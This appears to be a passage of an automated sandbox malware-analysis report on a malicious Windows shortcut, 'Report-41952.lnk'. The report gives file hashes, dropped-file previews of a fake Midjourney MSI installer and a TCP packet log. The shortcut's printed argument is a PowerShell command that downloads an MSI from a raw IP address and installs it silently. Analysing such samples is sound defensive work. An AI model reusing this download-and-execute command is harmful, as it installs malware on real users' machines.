SHA-512:	6C2F2F6A2D66015F30158962D653E381136F0F30023380A0CE95BD0944D856113FBDE65DB52DBB3B5DE1C0E2EDF2CD53184E721C64B916834BE4198C61224519
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C......................................I.............................h..........)......A..........Rich...........PE..L....c`f.........."!...'.............K..............................................mZ....@A........................0...........,....0..................h:...@..........p...................@...........@............................................text...*........................... ..`.rdata...!......."..................@..@.data....'..........................@....rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI42AA.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	58408
Entropy (8bit):	2.932876447251999
Encrypted:	false
SSDEEP:	384:0LPjz0p1lQ4f0ohhZ7h2DVGMh+V1rve87uQWrPNuAtQsN7Dz:0LPHIfsWQFUVN2Wm
MD5:	263B0DF4A6F199102D4BD1AA718B4EE9
SHA1:	1F6D816E73359E21549C833D88A40E93A71468BC
SHA-256:	15AB81FEEB7A1174F7385CFEA83B2D2969FB44C8861940674829EFBD7ABCBA4B
SHA-512:	45085DCC42A3979EBD8A34C76FD84AC1C07EB800234B0EBA411902C62A57D20804E3B259023CC3A4304FF892B2FCCD6E9625AD062D284CB244471FF17517CDD6
Malicious:	false
Preview:	...@IXOS.@.....@..CY.@.....@.....@.....@.....@.....@......&.{E29C2A9E-997E-49AB-92C0-59583123ED29}..Midjourney..y.msi.@.....@.....@.....@......s1.exe..&.{9D88B303-3E62-4D29-9D8E-507E3918FF97}.....@.....@.....@.....@.......@.....@.....@.......@......Midjourney......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{AA852DA8-41F1-425B-B1B3-9D223347D55F}8.C:\Users\user\AppData\Roaming\Midjourney Inc\Midjourney\.@.......@.....@.....@......&.{8C90BD65-D160-4270-BDB5-8D1D2ABF3897}/.01:\Software\Midjourney Inc.\Midjourney\Version.@.......@.....@.....@......&.{CE24E85D-BC8F-407E-ABEB-C6F961299E2D}..C:\ProgramData\BDncqpUxZl.dll.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".8.C:\Users\user\AppData\Roaming\Midjourney Inc\Midjourney\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.. ..@.....@........C:\Prog

C:\Windows\Installer\SourceHash{E29C2A9E-997E-49AB-92C0-59583123ED29}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7670124292640735
Encrypted:	false
SSDEEP:	12:JSbX72Fj4AGiLIlHVRpgh/7777777777777777777777777vDHF4TWScGkJpjl0G:JSQI5onGF
MD5:	E38D72BD0F95EB215CC93984BB4AD816
SHA1:	23F1BF1EBBAE391603A7DEADBA9FE735268965C8
SHA-256:	BE03AF6B8F8A6735F59A86023A655A4795D174A7FD3BD7033401F0C638139E4B
SHA-512:	ED8F95FAD929FD7ED535607702A660532D3FD8362D0A4CE9ECCB959A685B3706CB0F1F304D6491978B090D4D2423AB4499135E6B0BD22775BD8E3CD6A335DA1E
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2298262566219267
Encrypted:	false
SSDEEP:	96:wZfzT/eQ9aXn31Xnav5CzfDXn31XnNeP:WfzTeCan1qvQDn1d2
MD5:	E49EC40122CC7433593DDE8591553F1F
SHA1:	2A75C14C1B40529BFAA8708A96B94E919DD902CF
SHA-256:	3326B656F7ECC61FAF0FADBB73CD2A7268D1F2FFF2DB54F3A8380A47211DAA70
SHA-512:	8325EE97746A5AD660F76B3B577F14F881AE3AD5DC458614D4DD2BF9A9D31D70654240BA987AD9293E140FC4E6C5B7D3C403C057EEB4498BF07A619527847C17
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362954686825112
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauJ:zTtbmkExhMJCIpEc
MD5:	12B976DAA44AF9BC7AAC1DB23C3BA926
SHA1:	BF1322D43AAA22EB22625E2D93B681CFD70E03AF
SHA-256:	77F750359D758A4C0326B07FCEACEE139D33E93F5C37B68C87CFE0A6D78B9EF2
SHA-512:	432456F8723E707EF8EDFD522720F237565AE01E16086255635715F0E00D3B3BF541A305654A3E1A196AFD28726001F68C7B82D696BD38C48B66E0857EC02743
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF33B0B6D087935130.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF46983FC733841CC0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06756923832286334
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKO4TW+gGuhGLYtCVky6lh1:2F0i8n0itFzDHF4TWScG2j
MD5:	F3AEC9F7049568CA0BF7D0E94A8C724E
SHA1:	AACFD0C9F1E0889B47C80F0738D8333517B8B07F
SHA-256:	B208E2E0BDEA2F6292176182AED545A36C9AB7A3F4703D02DA393C94A8ADED0F
SHA-512:	772F558863079BC3269C8D54A298EA52AD18ABFE0E8DD8BD57E2B1F5FC2E32F18860B298F97770C98AC652502E5D727B3288B6D942E5FFBA5AA48B22DC2E7CE9
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF635CF01D71DA2922.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	0.11400857265914895
Encrypted:	false
SSDEEP:	48:EoeK1TyXpJ3SuXpJ6XpJ3SuXpJZAEu5CycWgJ9yD:EoevXn31Xn6Xn31Xnav5CzfJ9yD
MD5:	CD5931B7B61E56BE024C4A6564686C73
SHA1:	5C1E5D0B775B4F5D1AC6FD31B5E97E30D67282D7
SHA-256:	9C92DA776B9B0DE550214D51FC6C3B8EECE16AEBC3DA112C2DF417530625009E
SHA-512:	7AB73DF3AE52E54ED5002D486467B77F8DC73EEE2E9EA2E23BBE4398ECCE48E995C3279CCB9A8AA8973FC4230794884698F960EBC97CDC4A9999BD2774CC1264
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF87340E2A334AC6E5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2298262566219267
Encrypted:	false
SSDEEP:	96:wZfzT/eQ9aXn31Xnav5CzfDXn31XnNeP:WfzTeCan1qvQDn1d2
MD5:	E49EC40122CC7433593DDE8591553F1F
SHA1:	2A75C14C1B40529BFAA8708A96B94E919DD902CF
SHA-256:	3326B656F7ECC61FAF0FADBB73CD2A7268D1F2FFF2DB54F3A8380A47211DAA70
SHA-512:	8325EE97746A5AD660F76B3B577F14F881AE3AD5DC458614D4DD2BF9A9D31D70654240BA987AD9293E140FC4E6C5B7D3C403C057EEB4498BF07A619527847C17
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Jul 26 00:26:44 2012, mtime=Thu Jul 26 00:26:44 2012, atime=Thu Jul 26 02:20:50 2012, length=454656, window=hide
Entropy (8bit):	3.062164434221594
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Report-41952.lnk
File size:	3'205 bytes
MD5:	2aed3939fbf8f1967d68fcc746771889
SHA1:	eb04819a97ca2cf33211c6ea323a9c77cdfacfcf
SHA256:	106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f
SHA512:	0d45000b7a470655668e5c0c95aaab3911b75b3f4163abb02f9b6e987e070ad02af144d5f791ebf6940c5c838f35ff55f7c0b906ade62f47dde6ad9ff1750b1c
SSDEEP:	24:84YVpAaQLLUHMfcmpWzGVPfEbPSVXZW5KuYL4o0CWXtepztlOR1zW5d3e/lDxnv2:8t7skBcu6LgKWowCBlEpgsZmr
TLSH:	3161E42427F58634D6B68E3AA876A3119931BC05EF11AB5F91C8810D6C22644DE38FBE
File Content Preview:	L..................F.B.. ........j.......j.......j...............................P.O. .:i.....+00.../C:\...................R.1......B..0.Windows.<........@.,.B...........................W.i.n.d.o.w.s.....V.1......B].0.System32..>........@.,.B]..........

File Icon


Icon Hash:	74f0e4e4e4e1e1ed

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "%appdata%\y.msi";msiexec /i %appdata%\y.msi /qn
Icon location:	C:\Users\abc1\Pictures\Screenshots\s1.ico

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 09:20:32.880891085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:33.886096001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:33.910156965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:33.910223007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:33.910290956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:33.910331011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:33.914211988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:33.919074059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524560928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524583101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524595022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524631977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.524758101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524770021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524780989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.524812937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.524836063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.525048018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.525058985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.525094986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.529490948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.529548883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.529561996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.529588938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.529714108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.529726028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.529773951 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.612042904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612092972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612103939 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612159014 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.612283945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612294912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612339973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.612428904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612473011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.612545013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612555981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612766981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612776995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612787008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.612828016 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.613327026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.613375902 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.613416910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.613428116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.613456011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.613615990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.613631010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.613677979 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.613785982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614311934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614353895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.614398003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614409924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614451885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.614592075 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614603043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614614010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.614634991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.616960049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.617023945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.699765921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.699800014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.699815035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.699830055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.699908018 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.699944019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700074911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700092077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700119019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.700299025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700310946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700321913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700335026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.700337887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700360060 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.700773001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700784922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700798035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700809002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700818062 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.700819969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700834990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.700839043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.700871944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.701256990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701297045 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.701359034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701373100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701409101 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.701580048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701594114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701607943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701622009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701641083 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.701666117 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.701970100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.701984882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702001095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702064037 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.702199936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702214956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702229023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702234983 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.702260017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.702543974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702558041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702572107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702585936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702599049 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.702601910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702615976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.702616930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702634096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.702661991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.703258038 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703275919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703293085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703298092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.703309059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703326941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703327894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.703342915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703366995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.703813076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703830957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703846931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703851938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.703864098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.703881979 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.741540909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.741599083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.741611958 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.741625071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.741628885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.741667986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.786959887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.786983013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.786999941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787014961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787030935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787090063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787182093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787209034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787224054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787237883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787283897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787372112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787416935 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787497997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787513018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787554026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787717104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787825108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787841082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787854910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787870884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.787880898 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.787909985 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.788116932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788131952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788161993 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.788326979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788342953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788371086 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.788580894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788598061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788611889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788625956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788633108 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.788640976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.788660049 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.788698912 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.789074898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789091110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789104939 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789119005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789136887 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.789139032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789164066 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.789561033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789577007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789591074 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789604902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789612055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.789621115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.789643049 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.789673090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.790102959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790119886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790133953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790148973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790163040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790174961 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.790178061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790194988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.790201902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790215969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790220976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.790257931 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.790900946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790913105 CEST	80	49706	193.242.145.138	192.168.2.9
